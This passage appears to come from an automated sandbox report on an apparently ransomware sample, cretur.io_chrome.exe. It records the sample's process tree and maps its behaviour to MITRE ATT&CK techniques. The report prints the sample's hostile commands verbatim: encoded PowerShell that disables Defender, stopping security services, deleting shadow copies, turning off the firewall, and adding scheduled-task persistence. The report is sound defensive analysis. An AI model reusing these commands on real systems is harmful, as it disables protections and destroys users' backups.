PID 4316 wrote to memory of 4152	4316	cretur.io_chrome.exe	143
PID 4316 wrote to memory of 4452	4316	cretur.io_chrome.exe	144
PID 4316 wrote to memory of 3720	4316	cretur.io_chrome.exe	145
PID 4316 wrote to memory of 2532	4316	cretur.io_chrome.exe	146
PID 4316 wrote to memory of 3068	4316	cretur.io_chrome.exe	147
PID 4316 wrote to memory of 2752	4316	cretur.io_chrome.exe	148
PID 4316 wrote to memory of 4912	4316	cretur.io_chrome.exe	157
PID 4316 wrote to memory of 1480	4316	cretur.io_chrome.exe	158
PID 4316 wrote to memory of 2396	4316	cretur.io_chrome.exe	159
PID 4316 wrote to memory of 2284	4316	cretur.io_chrome.exe	160
PID 4316 wrote to memory of 3424	4316	cretur.io_chrome.exe	161
PID 4316 wrote to memory of 4732	4316	cretur.io_chrome.exe	162
PID 4316 wrote to memory of 2100	4316	cretur.io_chrome.exe	163
PID 4852 wrote to memory of 2264	4852	cmd.exe	170
PID 4452 wrote to memory of 1140	4452	cmd.exe	171
PID 4904 wrote to memory of 3448	4904	cmd.exe	172
PID 2284 wrote to memory of 1360	2284	net.exe	173
PID 3068 wrote to memory of 3032	3068	cmd.exe	175
PID 3720 wrote to memory of 468	3720	cmd.exe	176
PID 2532 wrote to memory of 4432	2532	cmd.exe	174
PID 4152 wrote to memory of 3140	4152	cmd.exe	177
PID 468 wrote to memory of 5340	468	net.exe	178
PID 4852 wrote to memory of 2668	4852	cmd.exe	180
PID 2976 wrote to memory of 3584	2976	chrome.exe	182
PID 2976 wrote to memory of 5080	2976	chrome.exe	195
PID 2976 wrote to memory of 2728	2976	chrome.exe	184
PID 2976 wrote to memory of 5108	2976	chrome.exe	185
PID 2976 wrote to memory of 5264	2976	chrome.exe	187

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://cretur.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7fff2db8c728,0x7fff2db8c734,0x7fff2db8c740
    3⤵
    PID:4208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,2445168365489575286,3811753441853733592,262144 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:3704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1376,i,18038545886942301354,4906963751202641586,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,15641790412411867968,9143565416404878329,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:13
    3⤵
    PID:836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,17141153430246322745,10823667455749262929,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:1
    3⤵
    PID:4524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,18341854559118644612,6529183174374366547,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:1076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4680,i,235018071790352235,1858704778971649159,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
    3⤵
    PID:1440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4860,i,1209411516682498153,17796300167819796616,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
    3⤵
    PID:1572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5524,i,15721971760682527941,13835765442938145319,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
    3⤵
    PID:3584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5528,i,3084415763438071067,15071985516042353868,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:14
    3⤵
    PID:5080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,8142245628459227685,2999211613565138665,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
    3⤵
    PID:2728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,11568489888404164058,15835821202794005728,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:14
    3⤵
    PID:5108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5768,i,8934280976226646210,10974348126434382725,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5832 /prefetch:1
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5744,i,4606063717182070824,11662950653170230918,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:1
    3⤵
    PID:5264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5736,i,15433841867764869383,9975363018986598132,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
    3⤵
    PID:2096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5868,i,8434984145206212927,17253751342670864534,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:4204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5564,i,4575249370105045943,5359883465778980983,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
    3⤵
    PID:5816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5524,i,16320259523459287539,14968920695300745295,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
    3⤵
    PID:3228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6224,i,9196023679178705123,4202283511303217288,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:1
    3⤵
    PID:3784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6400,i,3810572696591826051,6381359024212303126,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:1
    3⤵
    PID:4704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5560,i,9495072599700474341,5958167862145787623,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:1
    3⤵
    PID:332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6264,i,1274690207258710145,15905168278616522632,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:14
    3⤵
    PID:6080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6232,i,7690222427175583324,15768442742467811359,524288 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
    3⤵
    PID:1492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6388,i,4448075479180330552,15247486903468753592,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:1
    3⤵
    PID:4324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5048,i,2040481510054665963,15292180948410819804,2097152 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:9
    3⤵
    PID:2780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3352,i,10038700789827618105,10625566247152677109,262144 --field-trial-handle=1924,i,8812668401493655703,3080619918545437628,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:10
    3⤵
    PID:3584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4636
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe"
    3⤵
    PID:2920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1344
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1508
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5876
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6112
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:468
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2264
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2668
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3448
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3032
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2752
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4912
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1480
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2396
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1360
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2100

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3184

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3224

C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
1⤵
PID:200

C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cretur.io_chrome.exe
1⤵
PID:4160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5552

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5080

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:6080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery